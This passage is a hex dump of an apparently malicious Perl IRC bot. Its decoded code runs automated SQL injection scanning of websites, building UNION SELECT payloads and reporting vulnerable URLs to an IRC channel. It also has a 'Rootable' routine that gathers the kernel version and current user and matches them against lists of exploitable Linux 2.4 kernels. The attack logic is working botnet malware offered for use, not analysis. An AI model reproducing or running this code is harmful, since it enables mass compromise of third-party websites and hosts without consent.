31296:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	sendraw($IR
31328:	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	C_cur_socket, "PRIVMSG $printl :
31360:	03	34	2C	31	36	20	5B	20	73	63	61	6E	20	5D	20	03	5B	20	03	31	32	4B	6F	6E	69	65	63	3A	03	34	20	24	4,16 [ scan ] [ 12Koniec:4 $
31392:	62	75	67	20	24	64	6F	72	6B	20	5D	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	bug $dork ] ");
31424:	20	20	20	20	20	7D	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	73	6C	65	} sle
31456:	65	70	20	33	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	73	ep 3; my $s
31488:	69	74	65	3D	22	68	74	74	70	3A	2F	2F	22	2E	24	73	69	74	6F	2E	24	62	75	67	3B	0D	0A	20	20	20	20	20	ite="http://".$sito.$bug;
31520:	20	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	sendraw($IRC_cur_so
31552:	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	2C	31	36	20	5B	20	cket, "PRIVMSG $printl :4,16 [
31584:	73	71	6C	20	5D	20	03	5B	20	03	31	32	53	70	72	61	77	64	7A	61	6D	3A	20	03	34	24	73	69	74	65	20	03	sql ] [ 12Sprawdzam: 4$site
31616:	31	32	63	6F	6C	73	3A	20	03	34	20	24	63	6F	6C	75	6D	6E	73	20	5D	20	22	29	3B	0D	0A	20	20	20	20	20	12cols: 4 $columns ] ");
31648:	20	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	24	77	3D	69	6E	74	20	72	61	6E	64	28	39	39	39	29	3B	$w=int rand(999);
31680:	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	24	77	3D	24	77	2A	31	30	30	30	3B	0D	0A	20	20	20	20	20	$w=$w*1 ;
31712:	20	20	20	20	66	6F	72	28	24	69	3D	31	3B	24	69	3C	3D	24	63	6F	6C	75	6D	6E	73	3B	24	69	2B	2B	29	20	for($i=1;$i<=$columns;$i++)
31744:	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	70	6C	69	63	65	28	40	63	6F	6C	2C	30	2C	24	23	63	{ splice(@col, ,$#c
31776:	6F	6C	2B	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	66	6F	72	28	24	6A	3D	31	3B	24	6A	3C	ol+1); for($j=1;$j<
31808:	3D	24	69	3B	24	6A	2B	2B	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	70	75	73	68	=$i;$j++) { push
31840:	28	40	63	6F	6C	2C	24	77	2B	24	6A	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	20	20	20	0D	(@col,$w+$j); }
31872:	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	74	6D	70	3D	6A	6F	69	6E	28	22	2C	22	2C	40	63	6F	6C	29	$tmp=join(",",@col)
31904:	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	74	65	73	74	3D	24	73	69	74	65	2E	22	2D	31	2B	55	; $test=$site."-1+U
31936:	4E	49	4F	4E	2B	53	45	4C	45	43	54	2B	22	2E	24	74	6D	70	2E	22	2F	2A	22	3B	0D	0A	20	20	20	20	20	20	NION+SELECT+".$tmp."/*";
31968:	20	20	20	20	20	20	70	72	69	6E	74	20	24	74	65	73	74	2E	22	5C	6E	22	3B	0D	0A	20	20	20	20	20	20	20	print $test."\n";
32000:	20	20	20	20	20	24	72	65	73	75	6C	74	3D	67	65	74	5F	68	74	6D	6C	28	24	74	65	73	74	29	3B	0D	0A	20	$result=get_html($test);
32032:	20	20	20	20	20	20	20	20	20	20	20	24	72	65	73	75	6C	74	20	3D	7E	20	73	2F	5C	2F	5C	2A	5C	2A	5C	2F	$result =~ s/\/\\\/
32064:	2F	2F	67	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	72	65	73	75	6C	74	20	3D	7E	20	73	2F	55	//g; $result =~ s/U
32096:	4E	49	4F	4E	28	5B	5E	28	5C	2A	29	5D	2A	29	2F	2F	67	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	NION([^(\)])//g;
32128:	66	6F	72	28	24	6B	3D	31	3B	24	6B	3C	3D	24	69	3B	24	6B	2B	2B	29	20	7B	0D	0A	20	20	20	20	20	20	20	for($k=1;$k<=$i;$k++) {
32160:	20	20	20	20	20	20	20	20	24	6E	3D	24	77	2B	24	6B	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	$n=$w+$k;
32192:	20	20	20	20	20	69	66	28	24	72	65	73	75	6C	74	20	3D	7E	20	2F	24	6E	2F	29	7B	0D	0A	20	20	20	20	20	if($result =~ /$n/){
32224:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	73	70	6C	69	63	65	28	40	63	6F	6C	32	2C	30	2C	24	splice(@col2, ,$
32256:	23	63	6F	6C	32	2B	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	#col2+1);
32288:	20	20	20	66	6F	72	28	24	73	3D	31	3B	24	73	3C	3D	24	69	3B	24	73	2B	2B	29	20	7B	0D	0A	20	20	20	20	for($s=1;$s<=$i;$s++) {
32320:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	70	75	73	68	28	40	63	6F	6C	push(@col
32352:	32	2C	24	73	29	3B	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	2,$s);
32384:	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	24	74	6D	70	32	3D	6A	} $tmp2=j
32416:	6F	69	6E	28	22	2C	22	2C	40	63	6F	6C	32	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	oin(",",@col2);
32448:	20	20	20	20	20	20	24	74	65	73	74	32	3D	22	2B	55	4E	49	4F	4E	2B	53	45	4C	45	43	54	2B	22	2E	24	74	$test2="+UNION+SELECT+".$t
32480:	6D	70	32	2E	22	2F	2A	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	mp2."/*";
32512:	70	75	73	68	20	40	7B	24	64	61	6E	65	7B	24	74	65	73	74	32	7D	7D	2C	24	6B	3B	0D	0A	20	20	20	20	20	push @{$dane{$test2}},$k;
32544:	20	20	20	20	20	20	20	20	20	20	20	20	20	7D	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	} }
32576:	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	66	6F	72	20	24	6B	6C	75	63	7A	20	} for $klucz
32608:	28	6B	65	79	73	20	25	64	61	6E	65	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	66	6F	72	65	(keys %dane) { fore
32640:	61	63	68	20	24	69	28	40	7B	24	64	61	6E	65	7B	24	6B	6C	75	63	7A	7D	7D	29	20	7B	0D	0A	20	20	20	20	ach $i(@{$dane{$klucz}}) {
32672:	20	20	20	20	20	20	20	20	20	20	20	24	6B	6C	75	63	7A	20	3D	7E	20	73	2F	24	69	2F	02	24	69	02	2F	3B	$klucz =~ s/$i/$i/;
32704:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	} sen
32736:	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	draw($IRC_cur_socket, "PRIVMSG $
32768:	70	72	69	6E	74	6C	20	3A	03	31	33	2C	31	20	5B	20	02	76	75	6C	6E	02	20	5D	20	03	39	2C	31	20	5B	20	printl :13,1 [ vuln ] 9,1 [
32800:	20	22	2E	24	73	69	74	65	2E	22	2D	31	22	2E	24	6B	6C	75	63	7A	2E	22	20	20	5D	20	03	20	22	29	3B	0D	".$site."-1".$klucz." ] ");
32832:	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	25	64	61	6E	65	3D	28	29	3B	20	} %dane=();
32864:	20	20	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	7D	0D	0A	20	} }
32896:	20	20	64	65	6C	70	72	6F	63	28	24	24	29	3B	0D	0A	20	20	20	65	78	69	74	3B	0D	0A	20	20	20	7D	0D	0A	delproc($$); exit; }
32928:	7D	0D	0A	23	23	23	23	23	23	23	20	20	53	51	4C	20	53	43	41	4E	4E	45	52	20	20	23	23	23	23	23	23	23	} ####### SQL SCANNER #######
32960:	23	23	0D	0A	0D	0A	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	61	75	74	6F	73	63	61	6E	## if ($funcarg =~ /^autoscan
32992:	5C	73	2B	28	2E	2A	29	5C	73	2B	68	74	74	70	5C	3A	5C	2F	5C	2F	28	2E	2A	3F	29	5C	2F	28	2E	2A	3F	29	\s+(.)\s+http\:\/\/(.?)\/(.*?)
33024:	5C	73	2B	28	5C	64	2B	29	2F	29	7B	0D	0A	69	66	20	28	6D	79	20	24	70	69	64	20	3D	20	66	6F	72	6B	29	\s+(\d+)/){ if (my $pid = fork)
33056:	20	7B	0D	0A	77	61	69	74	70	69	64	28	24	70	69	64	2C	20	30	29	3B	0D	0A	7D	20	65	6C	73	65	20	7B	0D	{ waitpid($pid, ); } else {
33088:	0A	69	66	20	28	6D	79	20	24	64	3D	66	6F	72	6B	28	29	29	20	7B	0D	0A	61	64	64	70	72	6F	63	28	24	64	if (my $d=fork()) { addproc($d
33120:	2C	22	5B	53	74	72	69	6E	67	5D	20	24	32	22	29	3B	0D	0A	65	78	69	74	3B	0D	0A	7D	20	65	6C	73	65	20	,"[String] $2"); exit; } else
33152:	7B	0D	0A	20	20	20	20	20	20	24	6B	74	6F	20	3D	20	24	31	3B	0D	0A	20	20	20	20	20	20	24	68	6F	73	74	{ $kto = $1; $host
33184:	20	3D	20	24	32	3B	0D	0A	20	20	20	20	20	20	24	73	6B	72	79	70	74	20	3D	20	24	33	3B	0D	0A	20	20	20	= $2; $skrypt = $3;
33216:	20	20	20	24	63	7A	65	6B	61	63	3D	24	34	3B	0D	0A	20	20	20	20	20	20	0D	0A	20	20	20	20	20	20	23	68	$czekac=$4; #h
33248:	74	74	70	3A	2F	2F	74	74	6C	2E	75	67	75	2E	70	6C	2F	73	74	72	69	6E	67	2F	69	6E	64	65	78	2E	70	68	ttp://ttl.ugu.pl/string/index.ph
33280:	70	0D	0A	20	20	20	20	20	20	6D	79	20	24	73	6F	63	6B	65	20	3D	20	49	4F	3A	3A	53	6F	63	6B	65	74	3A	p my $socke = IO::Socket:
33312:	3A	49	4E	45	54	2D	3E	6E	65	77	28	50	65	65	72	41	64	64	72	3D	3E	24	68	6F	73	74	2C	50	65	65	72	50	:INET->new(PeerAddr=>$host,PeerP
33344:	6F	72	74	3D	3E	22	38	30	22	2C	50	72	6F	74	6F	3D	3E	22	74	63	70	22	29	20	6F	72	20	72	65	74	75	72	ort=>"8 ",Proto=>"tcp") or retur
33376:	6E	3B	0D	0A	20	20	20	20	20	20	70	72	69	6E	74	20	24	73	6F	63	6B	65	20	22	47	45	54	20	2F	24	73	6B	n; print $socke "GET /$sk
33408:	72	79	70	74	20	48	54	54	50	2F	31	2E	30	5C	72	5C	6E	48	6F	73	74	3A	20	24	68	6F	73	74	5C	72	5C	6E	rypt HTTP/1. \r\nHost: $host\r\n
33440:	41	63	63	65	70	74	3A	20	2A	2F	2A	5C	72	5C	6E	55	73	65	72	2D	41	67	65	6E	74	3A	20	4D	6F	7A	69	6C	Accept: /\r\nUser-Agent: Mozil
33472:	6C	61	2F	35	2E	30	5C	72	5C	6E	5C	72	5C	6E	22	3B	0D	0A	20	20	20	20	20	20	0D	0A	20	20	20	20	20	20	la/5. \r\n\r\n";
33504:	6D	79	20	40	72	20	3D	20	3C	24	73	6F	63	6B	65	3E	3B	0D	0A	20	20	20	20	20	20	24	70	61	67	65	3D	22	my @r = <$socke>; $page="
33536:	40	72	22	3B	0D	0A	20	20	20	0D	0A	20	20	20	20	20	20	24	70	61	67	65	20	3D	7E	20	73	2F	21	73	63	61	@r"; $page =~ s/!sca
33568:	6E	28	5C	73	2B	29	2F	2F	67	3B	0D	0A	20	20	20	20	20	20	24	70	61	67	65	20	3D	7E	20	73	2F	21	73	63	n(\s+)//g; $page =~ s/!sc
33600:	61	6E	28	2E	29	2F	2F	67	3B	0D	0A	20	20	20	20	20	20	24	70	61	67	65	20	3D	7E	20	73	2F	5C	3C	2E	2A	an(.)//g; $page =~ s/\<.*
33632:	5C	3E	2F	2F	67	3B	0D	0A	20	20	20	20	20	20	0D	0A	20	20	20	20	20	20	40	6C	69	6E	65	73	20	3D	20	73	\>//g; @lines = s
33664:	70	6C	69	74	20	28	2F	5C	6E	2F	2C	20	24	70	61	67	65	29	3B	0D	0A	20	20	20	20	20	20	24	69	6C	65	3D	plit (/\n/, $page); $ile=
33696:	73	63	61	6C	61	72	28	40	6C	69	6E	65	73	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	0D	0A	20	scalar(@lines);
33728:	20	20	20	20	20	0D	0A	20	20	20	20	20	20	66	6F	72	28	24	69	3D	39	3B	24	69	3C	3D	24	69	6C	65	3B	24	for($i=9;$i<=$ile;$
33760:	69	2B	3D	34	29	20	7B	0D	0A	0D	0A	20	20	20	20	20	20	20	20	20	66	6F	72	28	24	6A	3D	30	3B	24	6A	3C	i+=4) { for($j= ;$j<
33792:	34	3B	24	6A	2B	2B	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	23	70	72	69	6E	74	20	24	6C	4;$j++) { #print $l
33824:	69	6E	65	73	5B	24	69	2B	24	6A	5D	2E	22	5C	6E	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	0D	ines[$i+$j]."\n";
33856:	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	sendraw($IRC_cur_so
33888:	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	24	6B	74	6F	20	24	6C	69	cket, "PRIVMSG $printl :$kto $li
33920:	6E	65	73	5B	24	69	2B	24	6A	5D	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	nes[$i+$j]");
33952:	20	20	20	20	20	20	20	20	20	73	6C	65	65	70	20	31	30	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	sleep 1 ; }
33984:	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	73	6C	65	65	70	20	24	63	7A	65	6B	61	sleep $czeka
34016:	63	2A	36	30	3B	0D	0A	20	20	20	20	20	20	7D	0D	0A	0D	0A	20	20	20	7D	0D	0A	20	20	20	20	20	20	64	65	c*6 ; } } de
34048:	6C	70	72	6F	63	28	24	24	29	3B	0D	0A	20	20	20	20	20	20	65	78	69	74	3B	0D	0A	20	20	20	7D	0D	0A	7D	lproc($$); exit; } }
34080:	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	23	23	23	23	23	23	23	20	20	53	51	4C	20	53	43	41	4E	4E	45	52	####### SQL SCANNER
34112:	20	20	23	23	23	23	23	23	23	23	23	0D	0A	0D	0A	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	######### if ($funcarg =~ /
34144:	5E	73	71	6C	5C	73	2B	28	2E	2A	29	5C	73	2B	28	5C	64	2B	29	2F	29	7B	0D	0A	20	20	20	69	66	20	28	6D	^sql\s+(.*)\s+(\d+)/){ if (m
34176:	79	20	24	70	69	64	20	3D	20	66	6F	72	6B	28	29	29	20	7B	0D	0A	20	20	20	20	20	20	77	61	69	74	70	69	y $pid = fork()) { waitpi
34208:	64	28	24	70	69	64	2C	20	30	29	3B	0D	0A	20	20	20	7D	20	65	6C	73	65	20	7B	0D	0A	20	20	20	20	20	20	d($pid, ); } else {
34240:	69	66	20	28	6D	79	20	24	64	3D	66	6F	72	6B	28	29	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	61	64	if (my $d=fork()) { ad
34272:	64	70	72	6F	63	28	24	64	2C	22	5B	53	51	4C	31	5D	20	24	31	20	24	32	22	29	3B	0D	0A	20	20	20	20	20	dproc($d,"[SQL1] $1 $2");
34304:	20	20	20	20	65	78	69	74	3B	0D	0A	20	20	20	20	20	20	7D	20	65	6C	73	65	20	7B	0D	0A	20	20	20	20	20	exit; } else {
34336:	20	20	20	20	6D	79	20	24	73	69	74	65	3D	24	31	3B	0D	0A	20	20	20	20	20	20	20	20	20	6D	79	20	24	63	my $site=$1; my $c
34368:	6F	6C	75	6D	6E	73	3D	24	32	3B	0D	0A	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	olumns=$2; sendraw($IR
34400:	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	C_cur_socket, "PRIVMSG $printl :
34432:	03	34	2C	31	36	20	5B	20	73	71	6C	20	5D	20	03	5B	20	03	31	32	53	70	72	61	77	64	7A	61	6D	3A	20	03	4,16 [ sql ] [ 12Sprawdzam:
34464:	34	24	73	69	74	65	20	03	31	32	63	6F	6C	73	3A	20	03	34	20	24	63	6F	6C	75	6D	6E	73	20	5D	20	22	29	4$site 12cols: 4 $columns ] ")
34496:	3B	0D	0A	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	24	77	3D	69	6E	74	20	72	61	; $w=int ra
34528:	6E	64	28	39	39	39	29	3B	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	24	77	3D	24	77	2A	31	30	30	30	nd(999); $w=$w*1
34560:	3B	0D	0A	20	20	20	20	20	20	20	20	20	66	6F	72	28	24	69	3D	31	3B	24	69	3C	3D	24	63	6F	6C	75	6D	6E	; for($i=1;$i<=$column
34592:	73	3B	24	69	2B	2B	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	70	6C	69	63	65	28	40	63	s;$i++) { splice(@c
34624:	6F	6C	2C	30	2C	24	23	63	6F	6C	2B	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	66	6F	72	28	ol, ,$#col+1); for(
34656:	24	6A	3D	31	3B	24	6A	3C	3D	24	69	3B	24	6A	2B	2B	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	$j=1;$j<=$i;$j++) {
34688:	20	20	20	20	70	75	73	68	28	40	63	6F	6C	2C	24	77	2B	24	6A	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	push(@col,$w+$j);
34720:	20	20	20	7D	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	74	6D	70	3D	6A	6F	69	6E	28	22	} $tmp=join("
34752:	2C	22	2C	40	63	6F	6C	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	74	65	73	74	3D	24	73	69	,",@col); $test=$si
34784:	74	65	2E	24	62	75	67	2E	22	2D	31	2B	55	4E	49	4F	4E	2B	53	45	4C	45	43	54	2B	22	2E	24	74	6D	70	2E	te.$bug."-1+UNION+SELECT+".$tmp.
34816:	22	2F	2A	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	23	"/*"; #
34848:	24	72	65	73	75	6C	74	3D	71	75	65	72	79	28	24	74	65	73	74	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	$result=query($test);
34880:	20	20	20	24	72	65	73	75	6C	74	3D	67	65	74	5F	68	74	6D	6C	28	24	74	65	73	74	29	3B	0D	0A	20	20	20	$result=get_html($test);
34912:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	72	65	73	75	6C	74	20	3D	7E	20	73	2F	5C	2F	5C	2A	5C	$result =~ s/\/\*\
34944:	2A	5C	2F	2F	2F	67	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	72	65	73	75	6C	74	20	3D	7E	20	*\///g; $result =~
34976:	73	2F	55	4E	49	4F	4E	28	5B	5E	28	5C	2A	29	5D	2A	29	2F	2F	67	3B	0D	0A	20	20	20	20	20	20	20	20	20	s/UNION([^(\)])//g;
35008:	20	20	20	66	6F	72	28	24	6B	3D	31	3B	24	6B	3C	3D	24	69	3B	24	6B	2B	2B	29	20	7B	0D	0A	20	20	20	20	for($k=1;$k<=$i;$k++) {
35040:	20	20	20	20	20	20	20	20	20	20	20	24	6E	3D	24	77	2B	24	6B	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	$n=$w+$k;
35072:	20	20	20	20	20	20	20	20	69	66	28	24	72	65	73	75	6C	74	20	3D	7E	20	2F	24	6E	2F	29	7B	0D	0A	20	20	if($result =~ /$n/){
35104:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	73	70	6C	69	63	65	28	40	63	6F	6C	32	2C	splice(@col2,
35136:	30	2C	24	23	63	6F	6C	32	2B	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	,$#col2+1);
35168:	20	20	20	20	20	20	66	6F	72	28	24	73	3D	31	3B	24	73	3C	3D	24	69	3B	24	73	2B	2B	29	20	7B	0D	0A	20	for($s=1;$s<=$i;$s++) {
35200:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	70	75	73	68	28	40	push(@
35232:	63	6F	6C	32	2C	24	73	29	3B	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	col2,$s);
35264:	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	24	74	6D	70	} $tmp
35296:	32	3D	6A	6F	69	6E	28	22	2C	22	2C	40	63	6F	6C	32	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	2=join(",",@col2);
35328:	20	20	20	20	20	20	20	20	20	24	74	65	73	74	32	3D	22	2B	55	4E	49	4F	4E	2B	53	45	4C	45	43	54	2B	22	$test2="+UNION+SELECT+"
35360:	2E	24	74	6D	70	32	2E	22	2F	2A	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	.$tmp2."/*";
35392:	20	20	20	70	75	73	68	20	40	7B	24	64	61	6E	65	7B	24	74	65	73	74	32	7D	7D	2C	24	6B	3B	0D	0A	20	20	push @{$dane{$test2}},$k;
35424:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	7D	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	}
35456:	7D	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	66	6F	72	20	24	6B	6C	75	} } for $klu
35488:	63	7A	20	28	6B	65	79	73	20	25	64	61	6E	65	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	66	cz (keys %dane) { f
35520:	6F	72	65	61	63	68	20	24	69	28	40	7B	24	64	61	6E	65	7B	24	6B	6C	75	63	7A	7D	7D	29	20	7B	0D	0A	20	oreach $i(@{$dane{$klucz}}) {
35552:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	24	6B	6C	75	63	7A	20	3D	7E	20	73	2F	24	69	2F	02	24	69	$klucz =~ s/$i/$i
35584:	02	2F	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	/; }
35616:	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	sendraw($IRC_cur_socket, "PRIVMS
35648:	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	33	2C	31	20	5B	20	02	76	75	6C	6E	02	20	5D	20	03	39	2C	31	G $printl :13,1 [ vuln ] 9,1
35680:	20	5B	20	20	22	2E	24	73	69	74	65	2E	24	62	75	67	2E	22	2D	31	22	2E	24	6B	6C	75	63	7A	2E	22	20	20	[ ".$site.$bug."-1".$klucz."
35712:	5D	20	03	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	73	65	] "); } se
35744:	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	ndraw($IRC_cur_socket, "PRIVMSG
35776:	24	70	72	69	6E	74	6C	20	3A	03	34	2C	31	36	20	5B	20	73	71	6C	20	5D	20	03	5B	20	03	31	32	4B	6F	6E	$printl :4,16 [ sql ] [ 12Kon
35808:	69	65	63	20	03	34	20	5D	20	22	29	3B	20	20	20	20	20	20	0D	0A	20	20	20	20	20	20	7D	0D	0A	20	20	20	iec 4 ] "); }
35840:	64	65	6C	70	72	6F	63	28	24	24	29	3B	0D	0A	20	20	20	65	78	69	74	3B	0D	0A	20	20	20	7D	0D	0A	7D	0D	delproc($$); exit; } }
35872:	0A	23	23	23	23	23	23	23	20	20	53	51	4C	20	53	43	41	4E	4E	45	52	20	20	23	23	23	23	23	23	23	23	23	####### SQL SCANNER #########
35904:	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	20	20	20	20	###################### #
35936:	20	20	20	52	6F	6F	74	61	62	6C	65	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	Rootable
35968:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	# #############
36000:	23	23	23	23	23	23	23	23	23	0D	0A	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	72	6F	6F	######### if ($funcarg =~ /^roo
36032:	74	61	62	6C	65	2F	29	20	7B	20	0D	0A	6D	79	20	24	6B	68	6F	73	74	20	3D	20	60	75	6E	61	6D	65	20	2D	table/) { my $khost = `uname -
36064:	72	60	3B	0D	0A	6D	79	20	24	63	75	72	72	65	6E	74	69	64	20	3D	20	60	77	68	6F	61	6D	69	60	3B	0D	0A	r`; my $currentid = `whoami`;
36096:	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	sendraw($IRC_cur_socket, "PRIVMS
36128:	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	52	6F	6F	74	61	62	6C	65	02	03	31	G $printl :12[4@3Rootable1
36160:	32	5D	20	43	75	72	72	65	6E	74	6C	79	20	79	6F	75	20	61	72	65	20	22	2E	24	63	75	72	72	65	6E	74	69	2] Currently you are ".$currenti
36192:	64	2E	22	20	22	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	d." "); sendraw($IRC_cur_socket
36224:	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	52	6F	, "PRIVMSG $printl :12[4@3Ro
36256:	6F	74	61	62	6C	65	02	03	31	32	5D	20	54	68	65	20	6B	65	72	6E	65	6C	20	6F	66	20	74	68	69	73	20	62	otable12] The kernel of this b
36288:	6F	78	20	69	73	20	22	2E	24	6B	68	6F	73	74	2E	22	20	22	29	3B	0D	0A	63	68	6F	6D	70	28	24	6B	68	6F	ox is ".$khost." "); chomp($kho
36320:	73	74	29	3B	0D	0A	0D	0A	20	20	20	6D	79	20	25	68	3B	0D	0A	20	20	20	24	68	7B	27	77	30	30	74	27	7D	st); my %h; $h{'w t'}
36352:	20	3D	20	7B	20	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	31	38	27	2C	27	32	2E	= { vuln=>['2.4.18','2.
36384:	34	2E	31	30	27	2C	27	32	2E	34	2E	32	31	27	2C	27	32	2E	34	2E	31	39	27	2C	27	32	2E	34	2E	31	37	27	4.1 ','2.4.21','2.4.19','2.4.17'
36416:	2C	27	32	2E	34	2E	31	36	27	2C	27	32	2E	34	2E	32	30	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	,'2.4.16','2.4.2 '] };
36448:	0D	0A	20	20	20	24	68	7B	27	62	72	6B	27	7D	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	$h{'brk'} = { vuln=>
36480:	5B	27	32	2E	34	2E	32	32	27	2C	27	32	2E	34	2E	32	31	27	2C	27	32	2E	34	2E	31	30	27	2C	27	32	2E	34	['2.4.22','2.4.21','2.4.1 ','2.4
36512:	2E	32	30	27	5D	20	0D	0A	20	20	20	7D	3B	0D	0A	20	20	20	0D	0A	20	20	20	24	68	7B	27	61	76	65	27	7D	.2 '] }; $h{'ave'}
36544:	20	3D	20	7B	0D	0A	20	20	20	20	20	20	76	75	6C	6E	3D	3E	5B	27	32	2E	34	2E	31	39	27	2C	27	32	2E	34	= { vuln=>['2.4.19','2.4
